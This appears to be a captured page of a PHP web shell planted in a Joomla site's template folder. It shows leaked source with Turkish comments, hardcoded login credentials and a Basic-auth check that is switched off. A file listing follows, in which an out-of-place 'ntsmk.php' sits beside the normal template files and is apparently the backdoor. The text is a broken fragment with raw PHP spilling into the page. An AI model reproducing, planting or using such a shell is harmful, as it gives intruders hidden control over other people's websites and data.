# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = 'l0c4l'; $sifre = 'l0c4l'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
html | --- | December 05 2024 11:06:01. | 0755 | ||
component.php | 3.74 KB | December 05 2024 11:06:00. | 0644 | ||
error.php | 10.13 KB | December 05 2024 11:06:00. | 0644 | ||
index.php | 10.50 KB | December 05 2024 11:06:00. | 0644 | ||
joomla.asset.json | 2.94 KB | December 05 2024 11:06:00. | 0644 | ||
ntsmk.php | 27.43 KB | December 05 2024 11:06:00. | 0644 | ||
offline.php | 9.92 KB | December 05 2024 11:06:00. | 0644 | ||
templateDetails.xml | 9.88 KB | December 05 2024 11:06:00. | 0644 |